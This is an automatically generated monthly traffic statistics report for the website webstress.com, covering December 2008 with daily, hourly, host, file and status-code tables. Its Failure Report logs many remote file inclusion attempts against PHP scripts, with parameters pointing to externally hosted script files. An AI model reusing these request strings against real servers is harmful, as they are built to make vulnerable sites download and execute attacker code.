Web Server Statistics for webstress.com

Program started at Wed-31-Dec-2008 06:54.
Analysed requests from Mon-01-Dec-2008 04:45 to Wed-31-Dec-2008 06:27 (30.1 days).

General Summary

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Successful requests: 347
Average successful requests per day: 11
Successful requests for pages: 204
Average successful requests for pages per day: 6
Failed requests: 5254
Redirected requests: 4
Distinct files requested: 36
Distinct hosts served: 160
Unwanted logfile entries: 4
Data transferred: 20691200 bytes
Average data transferred per day: 688082 bytes


Weekly Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Each unit (+) represents 150000 bytes, or part thereof.


week beg.: #reqs: pages: 
---------: -----: -----: 
30/Nov/08:    65:    33: +++++++++++++++++++++++++++++
 7/Dec/08:    78:    50: ++++++++++++++++++++++++
14/Dec/08:    84:    47: ++++++++++++++++++++++++++++++++++++++
21/Dec/08:    87:    50: +++++++++++++++++++++++++++++++++++++++
28/Dec/08:    33:    24: ++++++++++
Busiest week: week beginning 21/Dec/08 (5774775 bytes).

Daily Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Each unit (+) represents 100000 bytes, or part thereof.


     date:  %reqs: #reqs: %bytes:   bytes: 
---------: ------: -----: ------: -------: 
 1/Dec/08:  4.61%:    16:  6.93%: 1433801: +++++++++++++++
 2/Dec/08:  3.17%:    11:  2.34%:  484382: +++++
 3/Dec/08:  3.46%:    12:  4.46%:  923658: ++++++++++
 4/Dec/08:  3.17%:    11:  0.11%:   23288: +
 5/Dec/08:  1.15%:     4:  2.23%:  461307: +++++
 6/Dec/08:  3.17%:    11:  4.46%:  923310: ++++++++++

 7/Dec/08:  4.90%:    17:  4.86%: 1004630: +++++++++++
 8/Dec/08:  3.75%:    13:  2.52%:  522364: ++++++
 9/Dec/08:  1.44%:     5:  0.10%:   20334: +
10/Dec/08:  5.19%:    18:  4.86%: 1004978: +++++++++++
11/Dec/08:  2.02%:     7:  0.22%:   45749: +
12/Dec/08:  2.31%:     8:  0.01%:    2088: +
13/Dec/08:  2.88%:    10:  4.46%:  922614: ++++++++++

14/Dec/08:  3.75%:    13:  4.47%:  924354: ++++++++++
15/Dec/08:  3.46%:    12:  6.51%: 1347670: ++++++++++++++
16/Dec/08:  4.61%:    16:  4.68%:  968363: ++++++++++
17/Dec/08:  6.63%:    23:  9.31%: 1926896: ++++++++++++++++++++
18/Dec/08:  3.46%:    12:  2.44%:  505134: ++++++
19/Dec/08:  1.15%:     4:  0.01%:    1044: +
20/Dec/08:  1.15%:     4:  0.01%:    1044: +

21/Dec/08:  4.03%:    14:  4.66%:  964318: ++++++++++
22/Dec/08:  2.88%:    10:  4.75%:  981868: ++++++++++
23/Dec/08:  2.59%:     9:  2.24%:  462699: +++++
24/Dec/08:  3.75%:    13:  2.27%:  468918: +++++
25/Dec/08:  3.75%:    13:  4.66%:  963274: ++++++++++
26/Dec/08:  5.19%:    18:  9.24%: 1911276: ++++++++++++++++++++
27/Dec/08:  2.88%:    10:  0.11%:   22422: +

28/Dec/08:  3.17%:    11:  2.43%:  503011: ++++++
29/Dec/08:  0.86%:     3:  0.01%:    1044: +
30/Dec/08:  4.61%:    16:  4.47%:  924702: ++++++++++
31/Dec/08:  0.86%:     3:  0.20%:   40660: +
Busiest day: 17/Dec/08 (1926896 bytes).

Daily Summary

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Each unit (+) represents 250000 bytes, or part thereof.


day:  %reqs: #reqs: %bytes:   bytes: %pages: 
---: ------: -----: ------: -------: ------: 
Sun: 15.85%:    55: 16.41%: 3396313: 16.67%: ++++++++++++++
Mon: 15.56%:    54: 20.72%: 4286747: 11.27%: ++++++++++++++++++
Tue: 16.43%:    57: 13.82%: 2860480: 18.14%: ++++++++++++
Wed: 19.88%:    69: 21.10%: 4365110: 20.10%: ++++++++++++++++++
Thu: 12.39%:    43:  7.43%: 1537445: 13.73%: +++++++
Fri:  9.80%:    34: 11.48%: 2375715:  9.80%: ++++++++++
Sat: 10.09%:    35:  9.03%: 1869390: 10.29%: ++++++++

Hourly Summary

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Each unit (+) represents 80000 bytes, or part thereof.


hr:  %reqs: #reqs: %bytes:   bytes: 
--: ------: -----: ------: -------: 
 0:  2.88%:    10:  0.49%:  101369: ++
 1:  4.03%:    14:  2.33%:  483033: +++++++
 2:  1.15%:     4:  0.01%:    3089: +
 3:  4.32%:    15:  0.60%:  123372: ++
 4:  3.17%:    11:  4.85%: 1002890: +++++++++++++
 5:  3.46%:    12:  4.85%: 1003238: +++++++++++++
 6:  4.61%:    16:  2.25%:  465135: ++++++
 7:  1.15%:     4:  0.01%:    2393: +
 8:  4.03%:    14:  2.25%:  464787: ++++++
 9:  6.92%:    24:  9.12%: 1887280: ++++++++++++++++++++++++
10:  5.76%:    20:  9.12%: 1887663: ++++++++++++++++++++++++
11:  5.76%:    20:  4.59%:  949777: ++++++++++++
12:  3.75%:    13:  6.97%: 1442827: +++++++++++++++++++
13:  4.32%:    15:  6.69%: 1384965: ++++++++++++++++++
14:  6.92%:    24:  9.12%: 1886932: ++++++++++++++++++++++++
15:  4.61%:    16:  4.66%:  964318: +++++++++++++
16:  3.75%:    13:  4.85%: 1003586: +++++++++++++
17:  4.03%:    14:  4.39%:  908777: ++++++++++++
18:  4.61%:    16:  0.30%:   62564: +
19:  4.03%:    14:  4.47%:  924702: ++++++++++++
20:  6.92%:    24: 10.88%: 2251690: +++++++++++++++++++++++++++++
21:  3.75%:    13:  2.45%:  507752: +++++++
22:  3.46%:    12:  4.51%:  932964: ++++++++++++
23:  2.59%:     9:  0.22%:   46097: +

Host Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing hosts with at least 0.05% of the requests, sorted by the number of requests.


 %reqs: #reqs: %bytes:  bytes: host
------: -----: ------: ------: ----
 3.75%:    13:  0.20%:  42400: 66.249.67.145
 2.88%:    10:  0.05%:   9648: 66.235.124.29
 2.31%:     8:  0.01%:   2784: 208.80.194.48
 2.02%:     7:       :      0: 193.47.80.44
 1.73%:     6:  4.46%: 921918: 67.142.130.34
 1.73%:     6:  0.22%:  45053: 24.44.172.204
 1.73%:     6:  3.92%: 811532: 24.113.200.160
 1.44%:     5:  0.01%:   1740: 208.80.194.54
 1.44%:     5:  0.10%:  21200: 206.53.144.114
 1.15%:     4:  0.58%: 120240: 94.76.199.10
 1.15%:     4:  0.01%:   1392: 74.86.176.75
 1.15%:     4:  0.01%:   1392: 66.244.236.243
 1.15%:     4:  0.29%:  59665: 65.55.212.142
 1.15%:     4:  0.01%:   1044: 67.195.37.92
 1.15%:     4:  0.01%:   1392: 66.90.118.101
 0.86%:     3:  2.23%: 460959: 166.229.112.65
 0.86%:     3:  2.23%: 460959: 71.229.72.146
 0.86%:     3:  2.23%: 460959: 69.119.113.115
 0.86%:     3:  2.23%: 460959: 98.183.181.212
 0.86%:     3:  2.23%: 460959: 12.217.20.100
 0.86%:     3:  2.23%: 460959: 66.31.194.142
 0.86%:     3:  2.23%: 460959: 68.32.161.20
 0.86%:     3:  2.23%: 460959: 76.19.44.143
 0.86%:     3:       :    348: 65.55.209.179
 0.86%:     3:  2.23%: 460959: 75.186.19.128
 0.86%:     3:  2.23%: 460959: 71.197.134.114
 0.86%:     3:  2.23%: 460959: 220.247.177.117
 0.86%:     3:  2.23%: 460959: 12.219.178.70
 0.86%:     3:  2.23%: 460959: 69.223.83.144
 0.86%:     3:  2.23%: 460959: 216.136.104.2
 0.86%:     3:  2.23%: 460959: 69.81.192.137
 0.86%:     3:  2.23%: 460959: 70.164.99.211
 0.86%:     3:  2.23%: 460959: 75.94.149.29
 0.86%:     3:  2.23%: 460959: 24.197.22.91
 0.86%:     3:  2.23%: 460959: 63.72.208.223
 0.86%:     3:  2.23%: 460959: 92.0.159.120
 0.86%:     3:  2.23%: 460959: 24.143.59.162
 0.86%:     3:  2.23%: 460959: 87.65.161.228
 0.86%:     3:  2.23%: 460959: 67.8.243.163
 0.86%:     3:  0.01%:   1044: 208.80.194.45
 0.86%:     3:  2.23%: 460959: 91.90.190.90
 0.86%:     3:  0.01%:   1044: 208.80.194.36
 0.86%:     3:  2.23%: 460959: 216.135.5.98
 0.86%:     3:  0.01%:   1044: 208.80.194.35
 0.86%:     3:  0.01%:   1044: 208.80.194.34
 0.86%:     3:  2.23%: 460959: 24.23.245.186
 0.86%:     3:  2.23%: 460959: 71.183.98.17
 0.86%:     3:  2.23%: 460959: 24.202.151.35
 0.86%:     3:  2.23%: 460959: 69.247.184.69
 0.86%:     3:       :    696: 205.178.184.155
 0.86%:     3:  2.23%: 460959: 12.6.14.138
 0.86%:     3:  2.23%: 460959: 68.104.213.48
 0.86%:     3:  2.23%: 460959: 173.23.15.46
 0.86%:     3:  2.23%: 460959: 128.172.89.189
 0.86%:     3:  2.23%: 460959: 24.8.150.203
 0.86%:     3:  0.01%:   1044: 66.232.111.94
 0.86%:     3:  2.23%: 460959: 86.141.252.15
 0.86%:     3:  2.23%: 460959: 74.79.7.26
 0.86%:     3:  2.23%: 460959: 78.101.79.111
 0.58%:     2:  0.19%:  40312: 92.48.194.14
 0.58%:     2:  0.09%:  19638: 206.80.245.27
 0.58%:     2:  0.03%:   5175: 72.30.79.85
 0.58%:     2:  0.19%:  40312: 72.232.10.98
 0.58%:     2:  0.09%:  19638: 219.87.146.160
 0.58%:     2:       :    696: 58.64.60.31
 0.58%:     2:  0.19%:  40312: 38.99.13.121
 0.58%:     2:  0.01%:   2393: 74.6.17.189
 0.58%:     2:       :    696: 208.80.194.55
 0.58%:     2:       :    696: 208.80.194.53
 0.58%:     2:       :    696: 208.80.194.52
 0.58%:     2:       :    696: 208.80.194.50
 0.58%:     2:       :    696: 208.80.194.46
 0.58%:     2:       :    696: 208.80.194.41
 0.58%:     2:       :    696: 208.80.194.40
 0.58%:     2:       :    696: 208.80.194.37
 0.58%:     2:       :    696: 208.80.194.33
 0.58%:     2:       :    696: 210.70.26.48
 0.58%:     2:  0.09%:  19638: 89.251.97.222
 0.58%:     2:  0.09%:  19638: 24.123.255.2
 0.58%:     2:  0.39%:  79928: 66.235.124.57
 0.58%:     2:  0.09%:  19638: 68.175.124.58
 0.58%:     2:       :    696: 67.195.37.108
 0.58%:     2:  1.55%: 321078: 195.3.113.61
 0.29%:     1:       :      0: 119.63.193.186
 0.29%:     1:  0.19%:  39964: 88.200.178.156
 0.29%:     1:       :    348: 69.58.178.28
 0.29%:     1:       :    348: 74.6.18.222
 0.29%:     1:       :    348: 72.30.87.116
 0.29%:     1:       :    348: 72.30.87.114
 0.29%:     1:       :    348: 72.30.79.97
 0.29%:     1:  0.68%: 139881: 198.54.202.246
 0.29%:     1:       :      0: 194.72.238.61
 0.29%:     1:  0.76%: 157772: 198.54.202.234
 0.29%:     1:       :    348: 82.70.126.102
 0.29%:     1:  0.79%: 163306: 198.54.202.218
 0.29%:     1:  0.02%:   4741: 72.30.79.36
 0.29%:     1:       :      0: 212.95.252.16
 0.29%:     1:       :    348: 72.30.79.32
 0.29%:     1:  0.19%:  39964: 217.212.224.186
 0.29%:     1:       :    348: 72.248.189.82
 0.29%:     1:       :    348: 80.83.90.50
 0.29%:     1:       :    348: 206.163.123.217
 0.29%:     1:  0.19%:  39964: 72.44.80.57
 0.29%:     1:       :    348: 89.218.85.18
 0.29%:     1:       :    348: 74.52.245.146
 0.29%:     1:       :    348: 72.30.81.179
 0.29%:     1:       :    348: 72.30.65.24
 0.29%:     1:       :    348: 74.6.17.188
 0.29%:     1:       :    348: 206.221.191.132
 0.29%:     1:       :    348: 193.86.246.132
 0.29%:     1:  0.19%:  39964: 208.96.54.71
 0.29%:     1:       :    348: 75.101.188.64
 0.29%:     1:       :    348: 196.201.65.254
 0.29%:     1:       :    348: 64.246.165.210
 0.29%:     1:       :    348: 64.246.165.190
 0.29%:     1:       :    348: 91.198.129.12
 0.29%:     1:       :    348: 64.246.165.150
 0.29%:     1:       :    348: 203.27.226.83
 0.29%:     1:       :    348: 38.100.8.50
 0.29%:     1:       :    348: 64.246.165.140
 0.29%:     1:       :    348: 208.80.194.51
 0.29%:     1:       :    348: 208.80.194.49
 0.29%:     1:       :    348: 208.80.194.47
 0.29%:     1:       :    348: 208.80.194.43
 0.29%:     1:       :    348: 208.80.194.32
 0.29%:     1:       :    348: 208.80.194.31
 0.29%:     1:       :    348: 208.80.194.29
 0.29%:     1:       :    348: 208.80.194.30
 0.29%:     1:       :    348: 208.80.194.26
 0.29%:     1:       :    348: 66.225.230.183
 0.29%:     1:       :    348: 88.198.45.76
 0.29%:     1:       :    348: 208.80.194.120
 0.29%:     1:       :    348: 89.122.29.82
 0.29%:     1:       :    348: 200.199.205.47
 0.29%:     1:  0.19%:  39964: 66.235.124.54
 0.29%:     1:       :    348: 89.122.29.76
 0.29%:     1:       :    348: 66.235.124.28
 0.29%:     1:       :    348: 195.128.18.18
 0.29%:     1:       :    348: 89.122.29.32
 0.29%:     1:       :    348: 89.122.29.31
 0.29%:     1:       :    348: 72.55.148.109
 0.29%:     1:       :      0: 77.88.27.26
 0.29%:     1:       :    348: 62.233.100.137
 0.29%:     1:       :    348: 216.153.214.235
 0.29%:     1:  0.19%:  39964: 74.6.22.177
 0.29%:     1:       :    348: 67.195.37.171
 0.29%:     1:       :    348: 67.195.37.158
 0.29%:     1:       :    348: 82.161.231.16
 0.29%:     1:       :    348: 207.182.137.218
 0.29%:     1:       :    348: 208.94.243.130
 0.29%:     1:  0.68%: 139881: 195.3.113.60
 0.29%:     1:  0.19%:  39964: 83.149.71.137
 0.29%:     1:       :    348: 66.7.193.220
 0.29%:     1:       :    348: 131.162.169.77
 0.29%:     1:  0.19%:  39964: 208.36.144.7
 0.29%:     1:  0.02%:   4827: 72.30.161.216
 0.29%:     1:  0.01%:   2045: 72.30.142.109
 0.29%:     1:       :      0: 66.249.72.98
 0.29%:     1:       :    348: 38.100.41.102
 0.29%:     1:       :    348: 81.19.66.84

Directory Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing directories, sorted by the amount of traffic.


 %reqs: #reqs: %bytes:    bytes: directory
------: -----: ------: --------: ---------
35.45%:   123: 91.34%: 18899319: /knit/
59.08%:   205:  4.60%:   952525: [root directory]
 1.15%:     4:  3.05%:   632090: /EE/
 2.02%:     7:  0.99%:   204059: /mle/
 0.29%:     1:  0.01%:     2123: /Phaedra/
 1.15%:     4:       :      673: /icons/
 0.29%:     1:       :      348: http://
 0.58%:     2:       :       63: /gifs/

File Type Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.


 %reqs: #reqs: %bytes:    bytes: extension
------: -----: ------: --------: ---------
36.31%:   126: 92.30%: 19097243: .jpg  [JPEG graphics]
 8.65%:    30:  3.80%:   785316: .html [Hypertext Markup Language]
50.14%:   174:  3.34%:   691089: [directories]
 4.61%:    16:  0.57%:   117552: .gif  [GIF graphics]
 0.29%:     1:       :        0: [not listed: 1 extension]

File Size Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)


       size:  %reqs: #reqs: %bytes:    bytes: 
-----------: ------: -----: ------: --------: 
          0:  6.92%:    24:       :        0: 
   1b-  10b:       :     0:       :        0: 
  11b- 100b:  0.29%:     1:       :       63: 
 101b-  1kb: 46.11%:   160:  0.27%:    55689: 
  1kb- 10kb:  2.59%:     9:  0.16%:    32135: 
 10kb-100kb:  8.07%:    28:  5.19%:  1072980: 
100kb-  1Mb: 36.02%:   125: 94.39%: 19530333: 

Status Code Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing status codes, sorted numerically.


#reqs: status code
-----: -----------
  325: 200 OK
    5: 206 Partial content
    1: 301 Document moved permanently
    3: 302 Document found elsewhere
   17: 304 Not modified since last retrieval
    8: 400 Bad request
    2: 401 Authentication required
 5240: 404 Document not found
    4: 405 Method not allowed

Request Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing files, sorted alphabetically.


 %reqs: #reqs: %bytes:   bytes: file
------: -----: ------: -------: ----
48.41%:   168:  0.26%:   53592: /
 0.58%:     2:  3.05%:  631014: /EE/
 0.58%:     2:  0.01%:    1076: /EE/grnflwr4.gif
 1.15%:     4:  0.07%:   14223: /Phaedra.html
 0.29%:     1:  0.01%:    2123: /Phaedra/catlike.html
 0.58%:     2:  0.05%:    9654: /WishList.html
 0.58%:     2:       :      63: /gifs/bar32.gif
 0.29%:     1:       :       0: /icons/apache_pb.gif
 0.29%:     1:       :     216: /icons/back.gif
 0.29%:     1:       :     148: /icons/blank.gif
 0.29%:     1:       :     309: /icons/image2.gif
 2.31%:     8:  0.56%:  115740: /jmpmap.gif
11.82%:    41: 27.72%: 5735121: /knit/Diamond1.jpg
11.82%:    41: 31.26%: 6468652: /knit/Diamonds.jpg
11.82%:    41: 32.36%: 6695546: /knit/Vest.jpg
 0.86%:     3:  0.03%:    6135: /mle/
 0.58%:     2:  0.02%:    4090:   /mle/?M=D
 0.58%:     2:  0.87%:  179442: /mle/MayPoleDance.jpg
 0.29%:     1:       :       0: /mle/mle_nude_wild2.GIF
 0.29%:     1:  0.09%:   18482: /mle/mles_new_man.jpg
 6.63%:    23:  3.67%:  759316: /wwwlast.html
 0.29%:     1:       :     348: http://www.yahoo.com/

Redirection Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing files, sorted by the number of redirected requests.


#reqs: file
-----: ----
    2: /mail/bin/msgimport
    1: /mle
    1: /mail/CHANGELOG

Failure Report

(Go To: Top: General Summary: Weekly Report: Daily Report: Daily Summary: Hourly Summary: Host Report: Directory Report: File Type Report: File Size Report: Status Code Report: Request Report: Redirection Report: Failure Report: Referrer Report: Referring Site Report: Failed Referrer Report)

Listing the first 30 files by the number of failed requests, sorted by the number of failed requests.


#reqs: file
-----: ----
  584: /ktmllite/includes/ktedit/toolbar.php
   27:   /ktmllite/includes/ktedit/toolbar.php?dirDepth=http://mainehost.com/vnc/albania.txt??
   25:   /ktmllite/includes/ktedit/toolbar.php?dirDepth=http://220.134.244.157/xoops/templates_c/id3.txt?
   24:   /ktmllite/includes/ktedit/toolbar.php?dirDepth=http://www.tos-belarus.org/data/idfeelcomz.txt???
   16:   /ktmllite/includes/ktedit/toolbar.php?dirDepth=http://www.pride-ug.ru/idrose.txt???
   14:   /ktmllite/includes/ktedit/toolbar.php?dirDepth=http://www.geocities.com/amik5968/waw.txt?
   14:   /ktmllite/includes/ktedit/toolbar.php?dirDepth=http://www.tos-belarus.org/data/v7id.txt???
   14:   /ktmllite/includes/ktedit/toolbar.php?dirDepth=http://variant-1.ru/netcat_files/id.txt???
   14:   /ktmllite/includes/ktedit/toolbar.php?dirDepth=http://www.csjh.tpc.edu.tw/~sw/board/id1.txt??
   12:   /ktmllite/includes/ktedit/toolbar.php?dirDepth=http://h1.ripway.com/kurbang/idV6.txt??
   12:   /ktmllite/includes/ktedit/toolbar.php?dirDepth=http://www.becabioinfo.org/bbrweb//contenido/cronjobs/idrfi.txt??
   10:   /ktmllite/includes/ktedit/toolbar.php?dirDepth=http://dhcom.co.kr/zboard/id.txt??
   10:   /ktmllite/includes/ktedit/toolbar.php?dirDepth=http://mainehost.com/vnc/idfeel.txt??
  542: /contenido/includes/include.newsletter_jobs_subnav.php
   34:   /contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://www.geocities.com/amik5968/waw.txt?
   24:   /contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://mainehost.com/vnc/albania.txt??
   22:   /contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://www.csjh.tpc.edu.tw/~sw/board/idr.txt??
   19:   /contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://220.134.244.157/xoops/templates_c/id3.txt?
   11:   /contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://business-buket.ru/img/jr/id44.txt??
   10:   /contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://flowskatepark.org/WebCalendar-1.0.4/includes/safe1.txt??
   10:   /contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://mainehost.com/vnc/idfeel.txt??
   10:   /contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://www.pride-ug.ru/idrose.txt???
  440: /errors.php
   39:   /errors.php?error=http://220.134.244.157/xoops/templates_c/id3.txt?
   37:   /errors.php?error=http://www.geocities.com/amik5968/waw.txt?
   15:   /errors.php?error=http://variant-1.ru/netcat_files/id.txt???
   14:   /errors.php?error=http://ragas.baarleweb.net/data/bid.txt??
   12:   /errors.php?error=http://efnetbr.webs.com/test.txt??
   11:   /errors.php?error=http://www.freewebtown.com/s111/ids.txt???%0D??
   11:   /errors.php?error=http://rappelz.pzcci.org//media/id.txt?
  425: /wwwlast.html/ktmllite/includes/ktedit/toolbar.php
   24:   /wwwlast.html/ktmllite/includes/ktedit/toolbar.php?dirDepth=http://www.tos-belarus.org/data/idfeelcomz.txt???
   17:   /wwwlast.html/ktmllite/includes/ktedit/toolbar.php?dirDepth=http://mainehost.com/vnc/albania.txt??
   16:   /wwwlast.html/ktmllite/includes/ktedit/toolbar.php?dirDepth=http://www.pride-ug.ru/idrose.txt???
   14:   /wwwlast.html/ktmllite/includes/ktedit/toolbar.php?dirDepth=http://220.134.244.157/xoops/templates_c/id3.txt?
   14:   /wwwlast.html/ktmllite/includes/ktedit/toolbar.php?dirDepth=http://variant-1.ru/netcat_files/id.txt???
   13:   /wwwlast.html/ktmllite/includes/ktedit/toolbar.php?dirDepth=http://www.tos-belarus.org/data/v7id.txt???
   12:   /wwwlast.html/ktmllite/includes/ktedit/toolbar.php?dirDepth=http://h1.ripway.com/kurbang/idV6.txt??
   10:   /wwwlast.html/ktmllite/includes/ktedit/toolbar.php?dirDepth=http://mainehost.com/vnc/idfeel.txt??
  395: /admin/business_inc/saveserver.php
   17:   /admin/business_inc/saveserver.php?thisdir=http://www.skilful.nu/images/id.txt?
   15:   /admin/business_inc/saveserver.php?thisdir=http://www.suports.es/UserFiles/File/robots.txt??
   12:   /admin/business_inc/saveserver.php?thisdir=http://www.pride-ug.ru/idrose.txt???
  320: /components/com_extended_registration/registration_detailed.inc.php
   30:   /components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=http://www.suports.es/UserFiles/File/robots.txt??
   18:   /components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=http://www.samilglass.com/images/v6id.txt???
   12:   /components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=http://www.107.getplex.com/bbs/id?
   11:   /components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=http://lkjlkjlkj.fileave.com/id.txt????
   10:   /components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=http://fireballhost.com/center/mod.jpg?
   10:   /components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=http://usuarios.lycos.es/kilitos2008/id.txt????
   10:   /components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=http://www.csjh.tpc.edu.tw/~sw/board/idr.txt??
  315: /wwwlast.html/contenido/includes/include.newsletter_jobs_subnav.php
   22:   /wwwlast.html/contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://www.csjh.tpc.edu.tw/~sw/board/idr.txt??
   10:   /wwwlast.html/contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=http://www.pride-ug.ru/idrose.txt???
  282: /wwwlast.html/admin/business_inc/saveserver.php
   12:   /wwwlast.html/admin/business_inc/saveserver.php?thisdir=http://www.pride-ug.ru/idrose.txt???
  250: /wwwlast.html/errors.php
   19:   /wwwlast.html/errors.php?error=http://220.134.244.157/xoops/templates_c/id3.txt?
   14:   /wwwlast.html/errors.php?error=http://variant-1.ru/netcat_files/id.txt???
   14:   /wwwlast.html/errors.php?error=http://ragas.baarleweb.net/data/bid.txt??
   11:   /wwwlast.html/errors.php?error=http://www.freewebtown.com/s111/ids.txt???%0D??
  232: /wwwlast.html/components/com_extended_registration/registration_detailed.inc.php
   15:   /wwwlast.html/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=http://www.samilglass.com/images/v6id.txt???
   14:   /wwwlast.html/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=http://www.suports.es/UserFiles/File/robots.txt??
   11:   /wwwlast.html/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=http://lkjlkjlkj.fileave.com/id.txt????
   10:   /wwwlast.html/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=http://www.csjh.tpc.edu.tw/~sw/board/idr.txt??
  221: /public_includes/pub_blocks/activecontent.php
   10:   /public_includes/pub_blocks/activecontent.php?vsDragonRootPath=http://www.miresici.ro/users/mmid.txt?????
   10:   /public_includes/pub_blocks/activecontent.php?vsDragonRootPath=http://www.reviewtrust.co.uk/r57.txt??
   10:   /public_includes/pub_blocks/activecontent.php?vsDragonRootPath=http://www.samilglass.com/images/v6id.txt???
  171: /wwwlast.html/public_includes/pub_blocks/activecontent.php
  127: /robots.txt
   79: /ktmlpro/includes/ktedit/toolbar.php
   12:   /ktmlpro/includes/ktedit/toolbar.php?dirDepth=http://www.suports.es/UserFiles/File/robots.txt??
   67: /mha
   59: /mha/
   50: /vwar/backup/errors.php
   46: /wwwlast.html/ktmlpro/includes/ktedit/toolbar.php
   45: /wwwlast.html /components/com_extended_registration/registration_detailed.inc.php
